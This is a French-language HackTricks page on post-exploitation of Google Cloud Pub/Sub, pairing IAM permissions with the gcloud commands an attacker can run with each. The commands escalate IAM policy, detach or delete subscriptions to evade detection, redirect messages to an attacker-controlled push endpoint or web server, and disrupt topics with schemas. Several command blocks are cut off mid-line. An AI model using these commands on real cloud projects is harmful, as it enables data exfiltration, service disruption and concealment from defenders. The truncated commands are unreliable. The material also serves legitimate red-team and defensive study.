GCP - Pub/Sub Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Pub/Sub
Pour plus dâinformations sur Pub/Sub, consultez la page suivante:
pubsub.topics.publish
Publier un message dans un topic, utile pour envoyer des données inattendues et déclencher des fonctionnalités inattendues ou exploiter des vulnérabilités :
Publier un message dans un topic
```bash # Publish a message in a topic gcloud pubsub topics publishpubsub.topics.detachSubscription
Utile pour empĂȘcher une subscription de recevoir des messages, peut-ĂȘtre pour Ă©viter la dĂ©tection.
Détacher la subscription du topic
```bash gcloud pubsub topics detach-subscriptionpubsub.topics.delete
Utile pour empĂȘcher une subscription de recevoir des messages, Ă©ventuellement pour Ă©viter la dĂ©tection.
Il est possible de supprimer un topic mĂȘme avec des subscriptions attachĂ©es.
Supprimer topic
```bash gcloud pubsub topics deletepubsub.topics.update
Utilisez cette permission pour modifier certains paramĂštres du topic afin de le perturber, comme --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-keyâŠ
pubsub.topics.setIamPolicy
Donnez-vous la permission dâeffectuer nâimporte laquelle des attaques prĂ©cĂ©dentes.
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)
Récupérer tous les messages sur un serveur web :
Créer une push subscription pour recevoir les messages
```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions createCréez un abonnement et utilisez-le pour récupérer des messages :
Créer un abonnement de type pull et récupérer les messages
```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions createYou also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
This command will wait for a message to be posted
</details>
### `pubsub.subscriptions.delete`
**Supprimer un abonnement** peut ĂȘtre utile pour perturber un systĂšme de traitement des logs ou quelque chose de similaire :
<details>
<summary>Supprimer l'abonnement</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Utilisez cette permission pour mettre à jour un paramÚtre afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, Big Query table, Bucket) ou simplement pour le perturber.
Point de terminaison de mise Ă jour de l'abonnement
```bash gcloud pubsub subscriptions update --push-endpointpubsub.subscriptions.setIamPolicy
Donnez-vous les autorisations nĂ©cessaires pour effectuer nâimporte laquelle des attaques mentionnĂ©es prĂ©cĂ©demment.
pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)
Attacher un schema à un topic de façon à ce que les messages ne le respectent pas et que le topic soit perturbé.
Si aucun schema nâexiste, vous devrez peut-ĂȘtre en crĂ©er un.
Créer le fichier schema et l'attacher au topic
```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Cela pourrait donner lâimpression quâen supprimant un schema vous pourrez envoyer des messages qui ne respectent pas le schema. Cependant, comme le schema sera supprimĂ©, aucun message nâentrera rĂ©ellement dans le topic. Donc câest INUTILE :
Delete schema (not useful)
```bash gcloud pubsub schemas deletepubsub.schemas.setIamPolicy
Donnez-vous les permissions nĂ©cessaires pour effectuer nâimporte laquelle des attaques commentĂ©es prĂ©cĂ©demment.
pubsub.snapshots.create, pubsub.snapshots.seek
Cela créera un snapshot de tous les messages unACKed et les remettra dans la subscription. Pas trÚs utile pour un attaquant mais voici :
Create snapshot and seek to it
```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

